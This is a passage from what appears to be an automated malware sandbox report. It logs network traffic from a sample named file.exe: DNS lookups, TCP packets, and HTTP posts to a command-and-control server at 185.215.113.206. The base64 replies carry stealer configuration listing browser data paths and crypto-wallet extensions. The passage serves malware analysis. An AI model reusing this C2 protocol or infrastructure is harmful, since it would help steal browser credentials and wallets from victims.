Oct 29, 2024 17:59:52.928275108 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.928276062 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.928292990 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.928299904 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.928308964 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.928317070 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.928328991 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.928332090 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.928344011 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.928352118 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.928360939 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.928375959 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.928381920 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.928394079 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.928400040 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.928409100 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.928416014 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.928426981 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.928431034 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.928442955 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.928448915 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.928458929 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.928462982 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.928473949 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.928488970 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.928493977 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.928503990 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.928510904 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.928519964 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.928525925 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.928538084 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.928555012 CET	80	49958	185.215.113.206	192.168.2.6

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 29, 2024 17:59:20.860747099 CET	192.168.2.6	1.1.1.1	0xf0ae	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Oct 29, 2024 17:59:20.860979080 CET	192.168.2.6	1.1.1.1	0x6453	Standard query (0)	www.google.com	65	IN (0x0001)	false
Oct 29, 2024 17:59:26.523652077 CET	192.168.2.6	1.1.1.1	0xa6ba	Standard query (0)	apis.google.com	A (IP address)	IN (0x0001)	false
Oct 29, 2024 17:59:26.524049044 CET	192.168.2.6	1.1.1.1	0x1eb1	Standard query (0)	apis.google.com	65	IN (0x0001)	false
Oct 29, 2024 17:59:27.527939081 CET	192.168.2.6	1.1.1.1	0x8544	Standard query (0)	play.google.com	A (IP address)	IN (0x0001)	false
Oct 29, 2024 17:59:27.528115034 CET	192.168.2.6	1.1.1.1	0xb268	Standard query (0)	play.google.com	65	IN (0x0001)	false
Oct 29, 2024 17:59:32.576875925 CET	192.168.2.6	1.1.1.1	0x8f45	Standard query (0)	ntp.msn.com	A (IP address)	IN (0x0001)	false
Oct 29, 2024 17:59:32.577050924 CET	192.168.2.6	1.1.1.1	0xf3c8	Standard query (0)	ntp.msn.com	65	IN (0x0001)	false
Oct 29, 2024 17:59:34.016724110 CET	192.168.2.6	1.1.1.1	0x4573	Standard query (0)	bzib.nelreports.net	A (IP address)	IN (0x0001)	false
Oct 29, 2024 17:59:34.017030954 CET	192.168.2.6	1.1.1.1	0x7a75	Standard query (0)	bzib.nelreports.net	65	IN (0x0001)	false
Oct 29, 2024 17:59:35.794991016 CET	192.168.2.6	1.1.1.1	0x9c57	Standard query (0)	assets.msn.com	A (IP address)	IN (0x0001)	false
Oct 29, 2024 17:59:35.795156956 CET	192.168.2.6	1.1.1.1	0x8f6b	Standard query (0)	assets.msn.com	65	IN (0x0001)	false
Oct 29, 2024 17:59:35.809437037 CET	192.168.2.6	1.1.1.1	0x6753	Standard query (0)	sb.scorecardresearch.com	A (IP address)	IN (0x0001)	false
Oct 29, 2024 17:59:35.810110092 CET	192.168.2.6	1.1.1.1	0xd499	Standard query (0)	sb.scorecardresearch.com	65	IN (0x0001)	false
Oct 29, 2024 17:59:35.811120987 CET	192.168.2.6	1.1.1.1	0xc28e	Standard query (0)	clients2.googleusercontent.com	A (IP address)	IN (0x0001)	false
Oct 29, 2024 17:59:35.811260939 CET	192.168.2.6	1.1.1.1	0x518f	Standard query (0)	clients2.googleusercontent.com	65	IN (0x0001)	false
Oct 29, 2024 17:59:35.821243048 CET	192.168.2.6	1.1.1.1	0x2962	Standard query (0)	c.msn.com	A (IP address)	IN (0x0001)	false
Oct 29, 2024 17:59:35.821594000 CET	192.168.2.6	1.1.1.1	0xbbbf	Standard query (0)	c.msn.com	65	IN (0x0001)	false
Oct 29, 2024 17:59:35.837251902 CET	192.168.2.6	1.1.1.1	0x53f0	Standard query (0)	api.msn.com	A (IP address)	IN (0x0001)	false
Oct 29, 2024 17:59:35.837551117 CET	192.168.2.6	1.1.1.1	0x1ed2	Standard query (0)	api.msn.com	65	IN (0x0001)	false
Oct 29, 2024 17:59:37.066581964 CET	192.168.2.6	1.1.1.1	0x7f2a	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Oct 29, 2024 17:59:37.068634987 CET	192.168.2.6	1.1.1.1	0x8776	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Oct 29, 2024 17:59:37.069063902 CET	192.168.2.6	1.1.1.1	0xeca9	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Oct 29, 2024 17:59:37.069206953 CET	192.168.2.6	1.1.1.1	0xedb7	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Oct 29, 2024 17:59:37.085055113 CET	192.168.2.6	1.1.1.1	0x51a3	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Oct 29, 2024 17:59:37.085226059 CET	192.168.2.6	1.1.1.1	0x7673	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 29, 2024 17:59:20.868254900 CET	1.1.1.1	192.168.2.6	0xf0ae	No error (0)	www.google.com		142.250.185.132	A (IP address)	IN (0x0001)	false
Oct 29, 2024 17:59:20.868966103 CET	1.1.1.1	192.168.2.6	0x6453	No error (0)	www.google.com			65	IN (0x0001)	false
Oct 29, 2024 17:59:26.531241894 CET	1.1.1.1	192.168.2.6	0x1eb1	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 29, 2024 17:59:26.531260014 CET	1.1.1.1	192.168.2.6	0xa6ba	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 29, 2024 17:59:26.531260014 CET	1.1.1.1	192.168.2.6	0xa6ba	No error (0)	plus.l.google.com		216.58.206.78	A (IP address)	IN (0x0001)	false
Oct 29, 2024 17:59:27.535304070 CET	1.1.1.1	192.168.2.6	0x8544	No error (0)	play.google.com		142.250.185.142	A (IP address)	IN (0x0001)	false
Oct 29, 2024 17:59:32.620769978 CET	1.1.1.1	192.168.2.6	0xf3c8	No error (0)	ntp.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 29, 2024 17:59:32.620800018 CET	1.1.1.1	192.168.2.6	0x8f45	No error (0)	ntp.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 29, 2024 17:59:32.675666094 CET	1.1.1.1	192.168.2.6	0x695b	No error (0)	bingadsedgeextension-prod-europe.azurewebsites.net	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 29, 2024 17:59:32.675666094 CET	1.1.1.1	192.168.2.6	0x695b	No error (0)	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		94.245.104.56	A (IP address)	IN (0x0001)	false
Oct 29, 2024 17:59:32.676944017 CET	1.1.1.1	192.168.2.6	0x33e4	No error (0)	bingadsedgeextension-prod-europe.azurewebsites.net	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 29, 2024 17:59:34.025104046 CET	1.1.1.1	192.168.2.6	0x7a75	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 29, 2024 17:59:34.025228024 CET	1.1.1.1	192.168.2.6	0x4573	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 29, 2024 17:59:35.802567959 CET	1.1.1.1	192.168.2.6	0x9c57	No error (0)	assets.msn.com	assets.msn.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 29, 2024 17:59:35.802841902 CET	1.1.1.1	192.168.2.6	0x8f6b	No error (0)	assets.msn.com	assets.msn.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 29, 2024 17:59:35.816864014 CET	1.1.1.1	192.168.2.6	0x6753	No error (0)	sb.scorecardresearch.com		18.244.18.27	A (IP address)	IN (0x0001)	false
Oct 29, 2024 17:59:35.816864014 CET	1.1.1.1	192.168.2.6	0x6753	No error (0)	sb.scorecardresearch.com		18.244.18.38	A (IP address)	IN (0x0001)	false
Oct 29, 2024 17:59:35.816864014 CET	1.1.1.1	192.168.2.6	0x6753	No error (0)	sb.scorecardresearch.com		18.244.18.122	A (IP address)	IN (0x0001)	false
Oct 29, 2024 17:59:35.816864014 CET	1.1.1.1	192.168.2.6	0x6753	No error (0)	sb.scorecardresearch.com		18.244.18.32	A (IP address)	IN (0x0001)	false
Oct 29, 2024 17:59:35.818999052 CET	1.1.1.1	192.168.2.6	0xc28e	No error (0)	clients2.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 29, 2024 17:59:35.818999052 CET	1.1.1.1	192.168.2.6	0xc28e	No error (0)	googlehosted.l.googleusercontent.com		216.58.206.33	A (IP address)	IN (0x0001)	false
Oct 29, 2024 17:59:35.819907904 CET	1.1.1.1	192.168.2.6	0x518f	No error (0)	clients2.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 29, 2024 17:59:35.828710079 CET	1.1.1.1	192.168.2.6	0x2962	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 29, 2024 17:59:35.830111027 CET	1.1.1.1	192.168.2.6	0xbbbf	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 29, 2024 17:59:35.844532013 CET	1.1.1.1	192.168.2.6	0x53f0	No error (0)	api.msn.com	api-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 29, 2024 17:59:35.845118046 CET	1.1.1.1	192.168.2.6	0x1ed2	No error (0)	api.msn.com	api-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 29, 2024 17:59:37.013879061 CET	1.1.1.1	192.168.2.6	0x1491	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 29, 2024 17:59:37.013879061 CET	1.1.1.1	192.168.2.6	0x1491	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
Oct 29, 2024 17:59:37.074362040 CET	1.1.1.1	192.168.2.6	0x7f2a	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Oct 29, 2024 17:59:37.074362040 CET	1.1.1.1	192.168.2.6	0x7f2a	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Oct 29, 2024 17:59:37.076021910 CET	1.1.1.1	192.168.2.6	0x8776	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Oct 29, 2024 17:59:37.076773882 CET	1.1.1.1	192.168.2.6	0xeca9	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Oct 29, 2024 17:59:37.076773882 CET	1.1.1.1	192.168.2.6	0xeca9	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Oct 29, 2024 17:59:37.077234030 CET	1.1.1.1	192.168.2.6	0xedb7	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Oct 29, 2024 17:59:37.092602015 CET	1.1.1.1	192.168.2.6	0x7673	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Oct 29, 2024 17:59:37.092988968 CET	1.1.1.1	192.168.2.6	0x51a3	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Oct 29, 2024 17:59:37.092988968 CET	1.1.1.1	192.168.2.6	0x51a3	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49722	185.215.113.206	80	5924	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 17:59:11.068489075 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Oct 29, 2024 17:59:11.978142977 CET	203	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 16:59:11 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 29, 2024 17:59:11.981939077 CET	413	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HCBAKJEHDBGHIEBGCGDG Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 43 42 41 4b 4a 45 48 44 42 47 48 49 45 42 47 43 47 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 31 44 36 42 41 41 42 37 31 30 38 33 36 37 34 34 38 30 34 36 34 0d 0a 2d 2d 2d 2d 2d 2d 48 43 42 41 4b 4a 45 48 44 42 47 48 49 45 42 47 43 47 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 48 43 42 41 4b 4a 45 48 44 42 47 48 49 45 42 47 43 47 44 47 2d 2d 0d 0a Data Ascii: ------HCBAKJEHDBGHIEBGCGDGContent-Disposition: form-data; name="hwid"81D6BAAB71083674480464------HCBAKJEHDBGHIEBGCGDGContent-Disposition: form-data; name="build"tale------HCBAKJEHDBGHIEBGCGDG--
Oct 29, 2024 17:59:12.276669025 CET	407	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 16:59:12 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 7a 6c 69 59 7a 41 35 4f 54 41 78 4d 54 55 31 4e 7a 46 6b 5a 6d 45 7a 4e 44 51 31 4d 54 51 77 4f 54 51 35 5a 57 52 6d 4e 44 64 6b 4e 6a 49 79 4f 54 41 7a 4e 32 4d 32 59 7a 56 6d 4f 54 68 6b 4e 47 45 7a 4d 7a 45 33 59 7a 59 78 59 54 67 35 5a 44 45 31 4d 57 55 33 4e 6a 5a 68 59 7a 68 6c 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: YzliYzA5OTAxMTU1NzFkZmEzNDQ1MTQwOTQ5ZWRmNDdkNjIyOTAzN2M2YzVmOThkNGEzMzE3YzYxYTg5ZDE1MWU3NjZhYzhlfHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDB8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
Oct 29, 2024 17:59:12.300744057 CET	470	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GHJKECAAAFHJECAAAEBF Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 48 4a 4b 45 43 41 41 41 46 48 4a 45 43 41 41 41 45 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 39 62 63 30 39 39 30 31 31 35 35 37 31 64 66 61 33 34 34 35 31 34 30 39 34 39 65 64 66 34 37 64 36 32 32 39 30 33 37 63 36 63 35 66 39 38 64 34 61 33 33 31 37 63 36 31 61 38 39 64 31 35 31 65 37 36 36 61 63 38 65 0d 0a 2d 2d 2d 2d 2d 2d 47 48 4a 4b 45 43 41 41 41 46 48 4a 45 43 41 41 41 45 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 47 48 4a 4b 45 43 41 41 41 46 48 4a 45 43 41 41 41 45 42 46 2d 2d 0d 0a Data Ascii: ------GHJKECAAAFHJECAAAEBFContent-Disposition: form-data; name="token"c9bc0990115571dfa3445140949edf47d6229037c6c5f98d4a3317c61a89d151e766ac8e------GHJKECAAAFHJECAAAEBFContent-Disposition: form-data; name="message"browsers------GHJKECAAAFHJECAAAEBF--
Oct 29, 2024 17:59:12.584845066 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 16:59:12 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2064 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 51 7a 70 63 58 46 42 79 62 32 64 79 59 57 30 67 52 6d 6c 73 5a 58 4e 63 58 45 64 76 62 32 64 73 5a 56 78 63 51 32 68 79 62 32 31 6c 58 46 78 42 63 48 42 73 61 57 4e 68 64 47 6c 76 62 6c 78 63 66 45 64 76 62 32 64 73 5a 53 42 44 61 48 4a 76 62 57 55 67 51 32 46 75 59 58 4a 35 66 46 78 48 62 32 39 6e 62 47 56 63 51 32 68 79 62 32 31 6c 49 46 4e 34 55 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 4d 48 78 44 61 48 4a 76 62 57 6c 31 62 58 78 63 51 32 68 79 62 32 31 70 64 57 31 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 44 42 38 51 57 31 70 5a 32 39 38 58 45 46 74 61 57 64 76 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8QzpcXFByb2dyYW0gRmlsZXNcXEdvb2dsZVxcQ2hyb21lXFxBcHBsaWNhdGlvblxcfEdvb2dsZSBDaHJvbWUgQ2FuYXJ5fFxHb29nbGVcQ2hyb21lIFN4U1xVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8MHxDaHJvbWl1bXxcQ2hyb21pdW1cVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfDB8QW1pZ298XEFtaWdvXFVzZXIgRGF0YXxjaHJvbWV8MHwwfFRvcmNofFxUb3JjaFxVc2VyIERhdGF8Y2hyb21lfDB8MHxWaXZhbGRpfFxWaXZhbGRpXFVzZXIgRGF0YXxjaHJvbWV8dml2YWxkaS5leGV8JUxPQ0FMQVBQREFUQSVcXFZpdmFsZGlcXEFwcGxpY2F0aW9uXFx8Q29tb2RvIERyYWdvbnxcQ29tb2RvXERyYWdvblxVc2VyIERhdGF8Y2hyb21lfDB8MHxFcGljUHJpdmFjeUJyb3dzZXJ8XEVwaWMgUHJpdmFjeSBCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8ZXBpYy5leGV8JUxPQ0FMQVBQREFUQSVcXEVwaWMgUHJpdmFjeSBCcm93c2VyXFxBcHBsaWNhdGlvblxcfENvY0NvY3xcQ29jQ29jXEJyb3dzZXJcVXNlciBEYXRhfGNocm9tZXxicm93c2VyLmV4ZXxDOlxcUHJvZ3JhbSBGaWxlc1xcQ29jQ29jXFxCcm93c2VyXFxBcHBsaWNhdGlvblxcfEJyYXZlfFxCcmF2ZVNvZnR3YXJlXEJyYXZlLUJyb3dzZXJcVXNlciBEYXRhfGNocm9tZXxicmF2ZS5leGV8QzpcXFByb2dyYW0gRmlsZXNcXEJyYXZlU29mdHdhcmVcXEJyYXZlLUJyb3dz
Oct 29, 2024 17:59:12.584880114 CET	1056	IN	Data Raw: 5a 58 4a 63 58 45 46 77 63 47 78 70 59 32 46 30 61 57 39 75 58 46 78 38 51 32 56 75 64 43 42 43 63 6d 39 33 63 32 56 79 66 46 78 44 5a 57 35 30 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 Data Ascii: ZXJcXEFwcGxpY2F0aW9uXFx8Q2VudCBCcm93c2VyfFxDZW50QnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8JUxPQ0FMQVBQREFUQSVcXENlbnRCcm93c2VyXFxBcHBsaWNhdGlvblxcfDdTdGFyfFw3U3Rhclw3U3RhclxVc2VyIERhdGF8Y2hyb21lfDB8MHxDaGVkb3QgQnJvd3NlcnxcQ2hlZG90XFVzZXI
Oct 29, 2024 17:59:12.598481894 CET	469	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IJDGCAEBFIIECAKFHIJE Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 4a 44 47 43 41 45 42 46 49 49 45 43 41 4b 46 48 49 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 39 62 63 30 39 39 30 31 31 35 35 37 31 64 66 61 33 34 34 35 31 34 30 39 34 39 65 64 66 34 37 64 36 32 32 39 30 33 37 63 36 63 35 66 39 38 64 34 61 33 33 31 37 63 36 31 61 38 39 64 31 35 31 65 37 36 36 61 63 38 65 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 44 47 43 41 45 42 46 49 49 45 43 41 4b 46 48 49 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 44 47 43 41 45 42 46 49 49 45 43 41 4b 46 48 49 4a 45 2d 2d 0d 0a Data Ascii: ------IJDGCAEBFIIECAKFHIJEContent-Disposition: form-data; name="token"c9bc0990115571dfa3445140949edf47d6229037c6c5f98d4a3317c61a89d151e766ac8e------IJDGCAEBFIIECAKFHIJEContent-Disposition: form-data; name="message"plugins------IJDGCAEBFIIECAKFHIJE--
Oct 29, 2024 17:59:12.882960081 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 16:59:12 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXw